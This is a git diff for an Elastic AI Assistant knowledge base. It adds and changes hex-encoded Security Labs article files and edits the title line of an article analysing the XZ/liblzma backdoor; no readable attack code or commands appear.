13c7e84e718384f292ec499db4970cfc50466e182fcbe044a5ecb8a8d41d7c6c1b89527a6941cc6711c1197dc75af411df2a8f34619b037ec72554c5c3053a4773415f1626ec9c5a15ad3bcacc3a1004a0d36f9bf4003dbfcb34d8274764077b8095609313192e25354c38028241cd7f520b5bfedec6ea63a53855a21050a28eb9a366ba5e5add6331b6291538fcaac0e0f9d8c30c8175b2ce7ab402661b0792c576416623e5ce24e0a33a87ca1e62340a447dbdd67cc53beb6c1cdd71bbb4999a1e4cf8a95dc31d09eaf116ee90fed09b9979cbd6ef2c9e1664f1cb31812addc33b1bbd4526aac916c89fdc86db52a918cc7ddf47999742cff1ede509eeb0ef23702e8960b58d3e4f6ecfa35403a4d3f8f2fa92e931e177b5fd7e6d56fac37870822d082608e04cc3238f7965561de98ab37e4d713ea0c96926d94a26b138eb9195e0699b95d49600ea77983e8a23d5b6e029a5d74b7b3b82c21fb7845169ab62e392bd51a5191bf4b96d8f19eee0941b939d99e8e4dd89bebd292560ee424e26db127a8f7321b77ce723c95040dea2d4cd35082225ad3e55e6cb57f110929e2df1abf265a66d3ebf83d58eb8512ce21b05d75d5ff9f9273d8efeecd952468c4f13e9b2e7d50ace8427fa6f3aed84a27349c56dd9dbff081695c44a5aa15b3afc611d5b9177d47a5d3b1f50c1eee3592ca7a1fc6197c3db9ecb9072cfb763576943bda1a5094eb413a5fc3f69518e2dfc935644d26a67b7fd0f714d97b9a78e8dda21c14de2905ef409af6e583aae4071f7e54ec021bfff52aab4aa15ad608223351f4faf7dcf19e2368d4a09131b38d25eff1487358f4778914c2933e90ff4e87928bd3d6194d8ca9d44b017d040e4a764c157ee814a872e08d3fbaaa3064f130a3acbd121501d290a8aa5d9a8a76203353589a3e05af93dd59e376916ee5d6121f00e938dea29e8b70d98c2ce903439b43f237bb056c7a50baba096dc21d0bd8a80b933d50729bc0e5c2b1abc5a80c763288242b11525a69da8291f15beffa0187eb880c4325e1be119b4a1f6e6ce81feab7192d0b42b2a0325fed11bfe88c2fd72c80dfca95310d3170b34c7fb5a2f09bd4b1a6665e334ccdbd0c32261b8a5d30ec38732f912148a18abbcac203f58d5290b86d305f36476e86b9d57cc6dd63f67bdfce7e74951961aa33ad42c77294350db35b750b9ce6654b8b801ca28718d53ed545f5c669ac71ddf2c642a10004cc25b80a0de95fc376f3e68fe868f1716d2f54bd7b62934f2e57f7a9ae7c6b4f0ec73c190a267f49b1037cfbdcf3892f54c316089b321fc8ada0f74bc1c4a4964d0fb754bf23d9665a50f7eeb7dfaa7115e97b43d5df74bfe131dee1ebe33293eb53bb0301d179dcb2f9d88482998642fe0bc4f7d9aeebf5a67bdb01a20bd4026c275c4777f83a5f296ecfe0beeda677faf66b30f3ddc48bf7a5f1895739e74e426f5fffdcb7d9343b4aa319dc2b305e858c0db2d1f846134fe69561bf1e27e1c8155d6859660e2dbf71d73d91212f9df7f04fc26b371c3f9c3a45d144a71e19162bc8d797260dfbdba4e5136007b39180b50defe97754a5c01065f94a71408e491dcfdf423fa73087aaf9abd78b615e958a668d7af47975d9d2d7758b6c4f146c79e35d50cfdfdc7363f5f2bbc14260e9d27d68dea2ae412e423377d07b9cc721ce2462908b48ed865c4319a6398a357dbb03472d9cd0f530b3fbe0659b409bd32c548fecf559d190d48831f571fac4f7c5bc47aa9cc63d76a94d5f87fa71daeae524a411d874383f1f06c50332b08aca056be26f74cf164ed0da70ba7e71ec3c65faba166ebda9be799be07cfcdff6c385740b540535682b48ef660a4620017ee090e75eb2e3cf440d39f005074febb9693deb83f7d85ecc900224b0407eb365dfce5dc8a91610c64c7e3f9e107639a4ce7658cbad8130dc958064da7fa353193b59ebb35fdca73ea55c499ecda464df2dfa2d909380de7e45baee5bd80971c238e6375c2b6b147b9ec753baf07b0e371e271d213a3561ec8d4036e88131fec891bb7466a4b20e9235f32d557793c84fc5397e398d30b72fa05629c0176e46653bfae06d9b290039453bb82b72da7d59b9660110a6ddf83bfdc78b68ad8812c1b4223ab064ff91e71d0dcc0f7e06f5f14207652479e69759f53ae218eb942c29fb4dc0c1f73c0b9453f3490fb13778f371878a70ae43ece9413210ad88aac2e857726f631c6deb0cb27639e85ff10fa98cdf15851ac5dfc33c00da0baac27f5798a460ccc1f37732141fe6e75ce7564014d2d0dc453ac2281bbe12ecb4b0662c480cf077f87f79464fefaaf3a83afa2bb08a875a916fffd47e6f0eef1ec5a242e4e3264837de1a931d6b7d3611b8400a5f0d6971b877e5fc160bbd10cb98bba30ff95cd23c54790e18f6eb4d3f1c55d20a3d7ac551750517d2ee5934127552880c877ff8e0e9ff3f9a67aabf152bdba9fee7f774e594c0af6231f958d6e294b5784edede6ac074fd017698b03a976261719abfea15b52ad38ed18d7f4e4966ec8dca9d9177759dad94d01f9145e3b7cc4cdfd99c3f9c5dd741c091fa01f02e0e9ed98815a59881223e9c7f5224544b9ff755482522ef2f84f503966751e72a460e76ef6fd46602cf19fe85509b2a0d849411be0efda328915c7d9b471e5e0ee0d61cda98c118e38988788f39215f56bffa6badcc3674bfe5e4ab47954e48ea1a686fc2bae1f944cb7e9e1693c80e86fa0cebdeec799824b89d3fa84051e8216eadea483718e908d51b57aa6c534744b2e5cdde86a1fcc59c8724c0733336334e65669e615afbc520719b4c8925f2d15337225f1752371861f2f001427040a552afa27e6f5ddab70abc0abf79e29eaa44125481e2d1a469c7cba48a3a32f339a8e5ea99057c6352a8470d8d5852b36de57b845f0223cc3b43bc40efab9322093b41e6208b7c6ce90a05f0ab64c9a82811876b5f2ef34249cdaf7d64eeedfac15ea44bde5523ffa74a14aa385f0d30d4a7ee8a79acfae7a4f0455afcb7dea6cceb0aab1bc4d58b23068b71b97a4476383467fc667e6097663bb2a51c605f09bebe880e2133e947e1cd1aa1831d08006613dbd32c29c9ecd43fee8252ad38520c0f0a19ca4e9c211f67ec168f5bf46fcd89f933997f2c1104a5a278fa24bab773eaa26cdf24160a827d7596a406337457ab1b167d8bc09023504f1aeb765f68191d365a6c6588cbbe5c9b8e3dda9767e9dfa8eba6e869242fc08a1f9ffbe1657d34a715938e98785f1045c377c7e36339343a44998f29d759157d9b8073b698e229f42bfd7264338d427fd0e5cad0b62693199893dd1d7830a4b1c45798d433bdc732df713666f99f88ecfefe9e59714428cd3c04ab77c82852c5bbf32a3e83a34659d4a909f8d148a3508245a235256356ca03ddfe91c84670de9759a928cd21e3732a4278993a332c2ccb83dabfebb86da0c82499d0b0ac076b390163b0024ce80a97565a5b843a345f4222d0e3a484f55ac9db2d4274ef0dba563aa6bce62f0cddc7c08c136f476e3559660a74f1e224e95bd74700506ac8c85e71dc31ea84cc053919627d63f997b84fd297d075e321d93e6f91414217378ae3d96454590d8ac2cefaa98a7a8eed845f83027b749df4f5098a2bb58b964c22cce5b260ca83d192609402205530e7866d60a960ea349c41f22fc9c03a5a8673fe03feb660949c0143c8db0e7f65dbaeb27943b85e3858d169b5f77f40e6407c94323c2111ad27e05681c4ab0211c11bd73ce092c54cbe4ef27018dce0c569a5e71723427dd3bb5aa504cad704235cc390591c007dbbc41b70ea309ff81b6ff4f840114ff28d79c728f538d3ced5c8e2b5897bcd71b694727734a154f0f43b09df9ffbfb57e2d6007fe8cfff10afcad39511e0e8c87fd9fd9c21071c41a85ed8a190f64f2bc691b53c69d2b85e8be31b3a4355cd0f7b1e90b046b904f546cf28775d67fde67b70a0336e1df7e8820ff299b00dcc99c9c7a5396f0799f1e397d906d4863a82ce6f9d641aa0292f820c6a782e4de265e307704c5e24d6655fffbd8ed4820af426390475108c1b53519345fce5deb30385962561371591707e4717cc52fbf9868f170a3d07dd4a30c69b459109c0968cbaab20af7a2258f3dcb4212a67a83eae6d138e70415b6b735c8d105b70908b8199c20534596924f5735c6c61ef275977510fa93423e656c7aaab2a32e24f98070f3eb450f47a2c2081d4452176eb7b2ee1038aeebb8e14f7cc7f7d25042529d7c573eabaf7b404399736fa6e95a3784d9649580124ec5a5a767532168e0dd1a4425973a23f4f920be758e4f39bf6c09dc7b788ea030b9be4e80f375a6a46159b4cbbc8ad1902781780fd359e021de1b6b9941f300e74cf9fe0a3b5df4269d0bc8401019ff67de185defbe6ea61d7ee66b97f83f6e98c0d38fe34bc8f238a2d332fdc38636b190f8664b6b066ecd16d27d2a8b1bff64d86317d3acc601eb4b711a5a0ff11f34739ed031abfda2dbfb5b26b01cd607210104c2de2a96bf39e2ebf4430da710bf6b61b77388fb94cb86e4ddb406b8756d2e8039a9b45706a6f5effee621e6318ed4cc8ba6614273a69d4f5b3ef2939268af4ca9d773342f360882ef309196a21904a50cf402a18a6a7c2f6e19788da582e8eff56517c4dc844e155c4ec327f98b2805dfe8fa6249352aaf33bce97fa64431b7341abbb7084a4ceeb99f24233d52d1be26177bdb8f7101a6399a44a44578759e5e979663faf8b6d4d00ccfbbe07c11d2de06ed70ec09f4fcc689be33ce0038514d68b66634d0d83b4f22dc3c8c0ab2be3ec7808fd7d16fbe8b6939f3a0c0fa7997f9d9167f0b64e3c5934ab3b9d8eff982979a579d8d652c4c6da6b44aba94691992bfa79f978b76a6718f7c44863f94665d126eab91627448d92a6f428e81614eed5051ecb72edfd67fbf829fce8f704fca38bf66edf163cd421c83b3794782518e04a1e10fa4c022ab842cffbb921e9bfecbe12a9750e3ce81e01fcc78ddb82dcec3f332d246e8edd995cee2e65ab73cf0e77d47a1fe35f875ef8fdd207ce09d4eb7bc6a94c6a4a7d37784b3d881b75d9f4bd6a77af8472873fa7c08c9e868e7b0190d133ec125bd75ac6b642fe31a6fc3232c247b47436a3ef02ae2c2fb30c8e16459341a657d3ddc9f3f626ea034ec34a89bf9d32c01c62ead53f8d5d0cf689e23361f0d3ea7f9c923b6f8496eb6e5726558d0074d18e4d095f78a6f26dcf24a2c85528f6fd970efff5c37b27705c0594a82ce58310fe3a20bfe0726d05c5f1ef28f9d8d1df08c2c1eaa8fabd538f2e134441c956dfe627d638bdb0af0c48a34ec2273632233be74bd6718d8b6867040bf348c9399e10bd62c4f6a2294c544d022de0f585ffd375b164cfe6ac2b2dea967e4ae580c8999dbf4eead7d87013474cf106876eecfd0a7ebd01625f163abd747070922eb1f2b8b7732fdcd8198af58e4f72cede40080b7600268ae1f48f73b14e9bc733a395d6176cb86a60bdabb886df45d83dfa48ed3118869b350a5978d88369e97614135e36b1bdedef3d6ddf5f680747b3d05e54d6238fb0d402b5794416392e06acbc9ac4cb8f67b34dd713bf2b66f8bc86ca103456b4db9c1b889ae0b4e7fca341e68fc42f11232715f68fe456e3237475f96f638aa674d7d5fe706fab0f08aa9d40cb8ab511286f3ce970657f3092212c131a7cd046373cf68c7114c525981834dd02c16e2269acb3cdc7a2d9c6ea9851dd853cddb5f90c9e313211c913deff23a6c16ea8518f13fd351128126af623ee306fd65c407be6e7f8d1b8097f41822214f3a838a4480ac9733cf617d59f764bc24a04b2274aec55b5a0a4dfd77c1906a6f9b228259ce4bf9f1963e87cb02c51634eaf7ae897f3bdc43eec2c2d18a51b8c95aeea57e9bf4bf2a4499355b427a5b83bda0820141ea94d62b52d1c0f86828223a94310e78fafbe34453e2ec718c6ab79bfad46735a0a5352debc96b1c4e0ed5d7cd103170db88220470f1916a64695d76334940f104abd792508f0cfc4cad1ef74eb1c1114eff7aaca0bd91d393fedd4da2f9f3b2b89d4ea833df7f27e29140f90918c94c3b709b228eceea117be76c789047c518c625b45b591c807edf717a3291cffb7fc574c4172329c1019f2c8d72d6fa2e9f10ddc1021f6d64e98cdff0a06fd6b2938a5fe6b7de7fe9b24506bfbb44c2f3a97d6259c48d637c1e7a423b84c33e3b7d6881e7fd5bd06d268dab74060e4dc9a7215671c313f2776b19af446c4629285f60ada128e37aed4d9bdd58281c1de37928554a63badc74622b7d82cfaa07e37ca16a202042431d22b960dd2d66b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c56dd7a13f44c215c72ffc3c88c841462e98e0edf17586e482f5311abf7707c05d4b009812921d6f1a466f52396df90e843422e3a51ff5e98a30a349d21cefad7a2003c8c99da2f0036f65a25a16688260dae7bee0ddc1fcf2ff6938f754b09050ef48c2277b0ab3e6cbde9bcd9342547a87392335e526c19f77030db4e6ad5d95c04d9b31cf0f2e7bd7e57222f52877b8d6a9d64d9c39410b836d3783e62fd94dc0e5d0bb68ab7b2344d70ca0737c45390a024f6907c3f05b32177d7755e2fe1fcb81e0ac2435399df4b6fbf12d921896d7a39b7cd9f5a6c9d927584c164ddd745dbb39d4c08abb70061270fb56a2dc7644e763ce5a1fb05a9583551bfbcefb0c116909565d227aef1e7f611d9c408f5ce28e349d576235bd77e9ce0b5c3268a677281474e578a588befec98ef21bd5e909668487d645a3106a5f33c5fca922dd213d22fe4518589e9fde6cbf8da3f6d745b3dd1d74b96bd29c43c4df8954b930b22f3923e96cab438442f5f87f645005e85092144ae2b419257422250d4515a0968a06f1897a4f536df28dd42b3188cf012c00d5c614557258c8b8439ad2a502afc0563b029c76f0e8b6849ad8e105b0ded3afe45d2e310db96ad92651236b9257ec87183638470a752e5bb72822641d8550bdcf0a4beee2a60fbffa851f4c6bea8e2adb75986c108341f78eaa31658e319947ba0df883d73a3ff4dd993d1958b771a34ac3746ecbd8e0cf8278d4e2957886eca9a8178ba434c0dd4f15900a0edddcd3c7e10cbd7950b7975df2475080eeb6f7c76d1e82af30f37a7897582be086ff5e623a14e1153c8b6f7346648b83c5c40b3de5d8fd7bacfedcbc1d7765a279c901b9c7e3d091a9eea255ed5e1fac92f98b67507268ac02b1bc3f6a14f2e02931c179660cd2adac0d270d323214fcb194cb1f6db50afc8729fca1f4462e4c1310fd4605f2c5c4a6b7f163aa9b8ebb258ca19f24b948667ffdf436bb45d3ed5a16f51adadf5f9aba90cab99a50e3435539c33c3f99a4030dc8cd450161200db2e82d534ca9bfce5d898cb452fd2fb738acff0b1143bfa7af224992046b08301ff06331920cfaabc903b82d0f97b787d8b61db893b9c3912503b5d1ba463d5ba39d843ae11a4edeac074b05e12f6d466db5ba05f4704e6af7041fd116fd4da108b6abcfce84ff78bb029030854874679705f25d2830b3c8b5b6f3d348e28e3c68157b083e79139edee5544f40e9aed806ca2468a38e886875014e72c82a2e72ee7dee93b2b31ab1d57fcaf69bd3014e34ec7115071af00cc735e0b26964134ae8f6de7a198a22115edb1fe49c4350a81e86e22af46466ad7e54b9d36eaece5bbf58094f60af8d84db9d34f40756f2468fa22be3939c01747d0b826f02eda8c57de8e46226ead90cd9ed281cc2ecddaf551cb07b98ccdfb323c2e37f8aff76027e31dd53bfa6c60f8d78f478a39ad1f26bf9f1392115f4fe12e1e7052a6996f84b547e57edb421f86af36a9cb846248c48567813861c05b4c9af97f1e1a8c9a604d8700b36c4a6452b9dd7b6f7fe4f7a2945824447533dd009bf87a272802536dafe66f37b7256ecac539bae532416c60820141ea94d62b52d1c0f86828223a94310e78fafbe34453e2ec718c6ab79bf54fe3e185fb6ed67e68e5d50e8044729bfa466b04935f928a42c4a4e8ed2724106c3939f7142e8f7d653872654864f5a095e4d1134ec7f3ff4564c6d6506bd48f35d24ff1ddc627f36528dd2f9f78308dd84d7384e4ab09073f6f6c6a334ec05f521b33dd4f2b29695be84a36fcddb234868d82129394c0ba54467d594578cccee1c0ea1ce19354b089ed5fc5c4b320a749b5d03a435853f2c90fa5541696c71b677ce3e4eeb793180198af27d7012c04d2ed59785b31f94f9f96d278c994892fa66d50de36b5ce0ea3b1fb2a9c5dd20db42537940883f053bd65d06f3047b15f87bd040298abdfd040852f27606e7e2dc798bcfdbcd6c241673573c4a46c44ddb86031535fc2e056ab288ad383486e7a9bdd75578241368c16519f04800cce2a97e080b432f6d20daa673de562b246f0a2c61e22b0d42da75efb05ea5e829edefca2a1db0f676a1427d36e9a06d618d7cb5514d97ca7194262e92f7dbf92985570833b74f88c5ee19abfaf94267f5b2463efeda3e994e6d73b4f67a8d3541bcc593d1ef6f44b4c978a7288c79ac2a1e290fcb21fc873e0a3fe7b34dcba66d5d8a893f411b1cba117fa56db229763d671a61d036c9a36d1c1085f968ee4ed239577f20d8d5004dc54555b0434f425c3ed5ef3d2361e6f3f261c2ede893e87511d01fb409c3d9056cdeb1e808bb0f2f07f46d913954e996e72a610b97511a755805bec7325e399a7527750dcb6398971281caa3653a14613e051510729e46e6024bf512e338c8866749ac95333f2abea0018d1f3d12167d8589bf29b7f5bcd38bda222ad2ca52251936c567e7e4d7dc86b274c17e81ef3228b187f4772dabb5fb36921068d4aeb09ede3ace74e63e1bf7b5b76982d75fec09d249f0edb56f646081480b92aa04e720b35f7a6bf29e7a2c1e9f5d4564eb9e649e17ec6f27b2f696c4b09a55200d419b9c1c928687db3c2eafa27d62189b316aa4b35a3b59c74871d54d986f2e3e3a3a743d22852049a001a1c4082da33d51a7b3868bce85798eaf2794ab65cbad4c82221b5ee6b1c87a49e7a8ee3863e980f7a11e87630fc29591489270e4d762cd31773c20c91cd9efcbc5b39cc7ad4812566420c8dc69e5b7a522b6633c1d58aae88b64ea6a0b7e7e81143b41be7871d12bb5a929fb68bbf85fd32ec60fbfaf8e5f8ecc6a3a9a5ad4e8e8574ade961404dec6084b89106a1a97fc47fe3f9f94150af1752e3a14ed2110a23d9c4eb4dacf785d631b53659d0f19c32296bb03201a704bf0737ac9f1265e871c524cdff9873ea02793f78f214614ec3b8d4a4d038b75c74b620bb214a06ebdbb7f8bd15b42a663b53dbb8c58c5ec49b30e34dc49226c3601bbe21c46f271902f52a79fe4f5fc86b5129f232e0aa67d9a623fdcdfeebd75472efe01cc8fea42c58d63fd905e129b98d72ea34b6befe896fed3dd7bbbb023ad8a8eb599f040587d4476ad839df037e4610a0976a0fe8f9424872a1bc7fcf6f12797889335c14eb326de4d104dcbc1022163eeb50bf80646e9a7beae53188e982274bc1c2578a1257b8417f9fb321f9d54dc583a34b9c71b262947fa839f82c29c2ca643f9113903e4f2e5bb65ca330d8441e967657d09dfe149afd923ebf448c614b93c38949a9575924cefd8be8903055283358d588c83ecd78af09742e28c77c7b8f89e223a8d36d2b99711e79aeef12f5f7c86a380bd5bf5549524dc5570235ee76b4f5366c31b11cbcba1221282a20aab0374979ca5dd6cbbedae6eae98903a960c6bc1592f2525230867ee3773f4db7b645932a4c7320a50ed97e914bc12eeb76f6da4dedcc89b9e3b9a5cae5344c7e571dc062207a2f8e5e55905864f24de7a2f5e0646898c649ca4c86c0f8ddd593ac9f8d0e40c2ba2f134113b26c06796181249aab8223f53f253bbf87005d9c5cfdc50c3c59e7a1121dad3ef58d77c3617b0758c3136f81d57d292804a6c75bb28cde8112420065cc165faca62c35dab6af33408dce31108f2eb08374e32a97f9a5fe2d1c5d3158f21f7d5d743e22ae382989d7cf922032da52cfdf23626eeff16f1bfab9102f78d935028a604695cd023922a520720e259fd5943fdd72efb4e1e1840afaf1c8f871b32197e032f9f611c2866bca2006b426215bcfe39f810d5b7eca0592d11d900606b0fb3c570f8553259c708fa62efa7c992119c98283dd24b80101244cd0c93c7800901c042664a6a2a44e0b1440aba3c1db8aefda59602e98b584bbd05d4a2c7a51f730c91b71baf94708dab19324f34bd45c7835e47b5c9a32498ac58d8453a84ad932cab1b35f64ccfe1fc4658cbdc2125ae79d61475a70d406fc7dacef1d6e1f103641f1ed2618cb88a8f45e064a515369f39dabf5a7b9e7c94ddea9ec487dae6057a95fe73097075f4882afc7d65731d93d56781a5fba7d633a97d09e280ec6435e84733bf891adf6c5c27987aae4bb5cf054763b2af16654625baf4d6ceba72ce7b5d3b1607499fe607d6832711d224795adff6687ce39656dc4dddc3b9f94263ada88d8f8b4ef3afb9a2d9de518fd9ad92b73724958b9ffea12ae18864c4a30d10ba595ab38b7b29208859074819c71afe018a536fb7a401a23b7a8a92fe2c00db313d8012a183ea \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/500ms_to_midnight.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/500ms_to_midnight.md index 1b2fb19a91308..5765f50f2768d 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/500ms_to_midnight.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/500ms_to_midnight.md @@ -1,5 +1,5 @@ --- -title: "500ms to midnight: XZ / liblzma backdoor" +title: "500ms to midnight: XZ A.K.A. liblzma backdoor" slug: "500ms-to-midnight" date: "2024-04-05" description: "Elastic Security Labs is releasing an initial analysis of the XZ Utility backdoor, including YARA rules, osquery, and KQL searches to identify potential compromises." diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/a_wretch_client.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/a_wretch_client.encoded.md new file mode 100644 index 0000000000000..b2cee57d6ed40 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/a_wretch_client.encoded.md @@ -0,0 +1 @@ +de439e90a0c6a9efb0f0aa04104c1ded23f6eadf71f9a7c1d7db55e2a7741dcd232c33608204434145afadf0676543a048b5e8f251242ed119d18b9a403263c9c9356ad6b71d8e0da18f67b5e0404aa373edc9c0a987363af7ddfc081b58dc84f2be8e5cb871d35b4163df07a02596cc634b35fa5ac920fdd5a66b915b0d415b56f3525b723e1bf228100cbf289678c86c9a978b3c994eb2bd182ec219365362d78fdca5d7bfeca5d942988b0b33cfab66baf1fb88dfb7e96fc86a0f5c77e0db28e301dffd8c6c72c6c8cc62a0ef328297824a6cff5730ca3b129dc23310a2d140aca49c368bd613d28822986a8821526532cd2bcb52a841ab99c9872767a39520d6beb2f0a3f7dc1451bbbc3d1bdd785c4b4714443a18bff1fdda39a1e830349a2a5222313d4eb978a1b60a7c9b0e6a32f4c8aaef422f20c54d26f4a3345e2e7c52423611cf9b193a2093d8ac29c2d39bfcce2b7ad7ce28a08d7faae7a9dfebb8a71ecf3a3a8d3bd0e4216bdf503a22c9e30a3e8a2e27a0ef2ee69304d912642a67100417faa6ad03dd8a05e77332ca5c1339b41acbc63087b5e39fedf7b20e2f8e99b14988e614d4b5d258f4e65e713382bc5df9369c71498274d4e3641841e05f459436683a00b31720073638ff73c82512f410e1f0a48806ab93ae8dd9a7b510fd36de62b545bde90e7db74ae116ccbace0a323b5c1188e6373bd1312bb683c8dfec5c3862980c8c5ad78165a71b43504c5836fdc35f4cd00b88725ce4d61ec99d391f1807a9e5cc014e86ef7c11a10e2a46fbc30d0507910ec2b133e2332f5e894e0452a3a0522351a4053ac8c52098b72799692ff73ba9315842ebbf2ce72cd1da34e5875983ff6e2433ef55443160f4443f540554c5eb2ae595b28bee1dff0d08a99989993814ba144404ebc12f55a5034f5c583c53c79937d2e9f38a683a5a016250f4553cf9b7804186c4e31d9ceebb7cdd87d2b95dc60ee54756a1b2b3e306789f1c15fc2f896d43ac41049e108bb761acd324039aaca9b1e146e13de254abb906bd7a420d1abeb3483e7e459bd15e093a5cbd79f1abb8b508a08c2c6f797cabf8311d396034c5084dbc9f4ecba9883f832ae19996673d2fa935feba877c9e56112ce18f00284f99ca8adb5e0f7d17d45a927f66691d0ad57af65077701c741f0795736b2520936bfb5edbaa2193cd13b4c49ad1fe809f41e2020409ccf28a8c615e9f2db8f73dc4a6d885bc1ba4f0d112d493d97d29ba7067734dd2b6ca2d235aa26a0f326eec04682d6f8232116c4fe7548ae5faf9081cf69fc619abb0e0238de191afa3d252b7ac5dcc85341d81eb303b9bf5052e1c0405a9b0444209e2845e3e8ff1686d652aeea291550f7dc2f0b935eb42d2571bc3670f0d196bb02bb919e8017bd083f4d18966f43b353e671064cb0caaad8d4e4cafc5366dfcbabfa4ca5578113ed253f998cd2fe21965107816bb376b063659515426ec1358cffead9f1713f81338fa22cc7f0b42d4bcd760602be2ae51231624670f4583c0f73a83a1bccb5ff41b957d0c1fbc23c5c26eca7fa094595e4244db3391cb6c142908004fc3a090ab391092e656a126db0de86cb465e91fe3cdd633cf3d422d47211260b42e378347e71bd64e002aad1884d62502fc51d4521ccc4a644e0fa26edb2b848447fab1dcffa3e7c93508fea37270c2c26ed1104811154536d0866dc1c625cfdb9e2b3461d0e4ff9ec61fc54138c2054da9221b95b1904bcd4fe8282c4b82be5f9c7c6eaf85cd091fe61f826363b47ea2b2bc4662e16dce2cd02020629c89a8e89ded82b51d884af1243264faec06ccb41d93842c39e5fccc1df0dc07dbe4b9cef11cce35550103e14d28844cacd9aa8ea80ce5e0cb82caa0e61bb24e4e6e79a2615c6d6849eeeb9bd9f7ce17625ca40a9bebaaede5dad4fc18dcc24e22c1826689e0b9acbadbc84370979ab47cad7a53ea3ff9ded3991dd086c14ddb2f62eb1248192236ec0eb39184a9484ffa12ee91f9868c0e6abf7548a703c1c53dc0c19cc0012852f82603c5147e9def561163df57100fcf99b2101753cc6b37ffe8a4bb369784e3fb939ed29e086f673692a92116406e0dc844b30a6619c21f7dacadd81beb5a7aea0d54e6d1e1694054f6a0d09bbfc5cdd3f909302958c29424516775747fffe9827dc526f79ad40b3b2c9e458b330bf56805e7ce7a58f87b187f732ddd463d6587f94b12b819b209316d242f29afe1525aaa6f900093aaf1229b14c391b07b89e08c4b5a2131a8f843ac6049bf549d1c03b4f3cc61fe3d167b63433864bdbaf78418ffbfe8bad970df458841158d68f8f69252144520866369ba66bd99650de434dc000200bcbdfcf035a496bad054b9ff9012d21dc44cd211034a4e698318014729a145a0b6dfecd2bea719a6aee497c720bf7810e717e72ebf9b86a57eeecd1e92cae4ade69a56d4bcbf69a990deab68110235f19b84ec823dea31f6f20e38a8512604f978798bbb7b79cfe75a2fb55cb1075439087af4a1a00add77e83f180d95c6249bf65818e7ba7bd4d69cbfb87462314d6c453d5003212929764f158d0d27abab301419aefd75262628cd4c08215aa83cb4f84a57b482bd9832ca937b085e0bf9d50a247d298d8c85903175a14941562fb90e0b5ed94e2f53ffc866ac28396a518d8f2771a3b7340dd624cb2c1a1ac16287cb59f9120dfdba35ba84909e5ade890b28a44745f4c8d999536bc1e93400d788c20844ee5a35b48226a0f73e839c73a6d159d7f25827d52f050a9f100794fa177df0b57905e465de00fbf8efb54d454ea287baef7c39ff8c86bdaf3963fa0c79ffe486f0d1c05000a1b646af0c4ad5a66f3f8214fbfe72eda50c62a8e2a10316be545ffbb8c1cff4f4666a6788b3353501152dfa4f97ad2563fe84540d20566ce9ba6798a2cd03922523df588d73f378eeea2bb3900a66f5b7277036ced8e26e3eb103eb91e1190df0ebee010dedef350c7d4c9e5470080d06e5253f1f028cd5b367f650af9f884c0cb1c0db6d66dd3a7032397f9b664566fa5bfeb17c56f56941d8979ef811b8130990aee582a2396aecad74cecbaa4da190a3d54d177ac1a7c40a3e1a21ff2799d6eab3754fabef834b7fc9d7658a03ec7b354ca5cbd86506a52ade7d868af64a36c0a847b4623baa26d8b0f6ddb3ae85cdb90eeab856e6d5ac6f336df4027221d7c96e46d0ab1e6deff2b7e4a4989de0ebf59b38f5ad2c58057e788b0773fd52c0cb7a0adadd8680a1c2d90b5b298d7c15e8e5d567aec977ce7981500afd255dbfcbc9090e363b844fbdfabc9f9baadd471457902ae9603058af8e103dbac70ffd1304ac0efb831a7aa36fee0263bbb35641de9b78bde6c7a839bf72d09e53aa01ecbab485faaf21ff7f5a10d91e92797fb9815fb7357e84286281e6f2287221fe692b8a0086e04a346c9dee446c20b801de667244e714e3fa717233d58f92ed082f0cbf18327077d77ed8a7cfdcf462f3331c622ecf1ab6b5faaac0e8d3b271f3431b657103b8e947732c2dc1a672175f281eabc6e7f4bfb6e41e81d23cc778c7e1186a8aba54a9fed5c447d273e01f86ea0dd89321f9bbd9f2a76d64ec9290de32cee06ab6c32fdfb355c7050958cedaadef762094ce663c06db6e843419735cc829cdb7a29fa23034ff5acc675e891723977a584f4f150e15f8c62e6b28cbd37ac9ccdd5dceff5c931d21fb4985ebc7f9a1e0303f3b818333f0bb353a3835501d9ad96972f2e4ad63014641e079e361787c7e9711dc015263c52674639ce9ed9fa15e64f28da5f73b5cc7ddf8c19c09eafb20817f9ae071d837806610e41b2ffeb352503708db93aed46193a7b08713eca736516f62cb838c52a1d10b4399933284b8e8375bfc27d02156eee2b95ed90d81efd2d093bbbe8ac8af43c0bfef0905665bcd1167ecbe1c0914df70d1aecd9eb6e81eb0675937f9112ff5a9037e6b852e322d5cd8cc2c8ed5343ebe6abe296b205869c50d32f775317e8bea14cd27c8c15f58458c9a7a3f90075511875afc9ced33b2e78f30124988a7bb0616770669b28e4311f3029d76ee061640808719934872c6b2136668420df846b8bb63381275a6c9714bd9db895625e9730fdf30fb1e0676061aaf59fd0296d7752044f5bdf755daa334ba557e62bfaaf222cb150ab684738f9ba3600844eb296287193b3aa0df5023d4e3bef3920f8eb117df46da9370adae8d3cce1e5ea0fe70188870a362e8ffd486bb5e31bd8a1fc56a971c266d7355fbbbf9cb8887cd56430c41438d47cbaffb85bc77d12b5dd42e98b35edd22f9f3b4304cafa9547c4c142e0253c5e8c8af9ed07fcc8c27e3ec9bbc4ca81741e6b7bb17959a1252c4d019add141f931cdf63b50a420da4479f7e12b9531ca652e51c74c07ba8ecfb2bc2d62b6159559e4bab19528e96dfcbabfa4ca5578113ed253f998cd2fce52a9bff4c661482676e43ddc632a25ec02088eb389354483562a6de24641fd3c73c1195e641284ca6f8cee10220bf0e73e838c722606e535301780e5f53583782cd4693489a6a4b7169f55949a7cecdabf5725ea3eff1fbe85092b8f33be508557f4d423a75d75a1cabba5f0289ccdf251a71f6129aa3b8c41146ea885b2e5433e4823d79d9b77f625dd7fd9365e329849e67e7aaba33b4d37ea16c8487658e480360ccaf9df68ade52335eb1e87a0803f9e3866ae2d7c887cc1a8c9e7ff07f537d6fa87134d424c6ba43a5499a76ed98c8aca1b8b0caeaba95bb6bc9fcff125375fbbbad0e98f7741d244b81c2962078cefb4564bc02666dc11e803712b4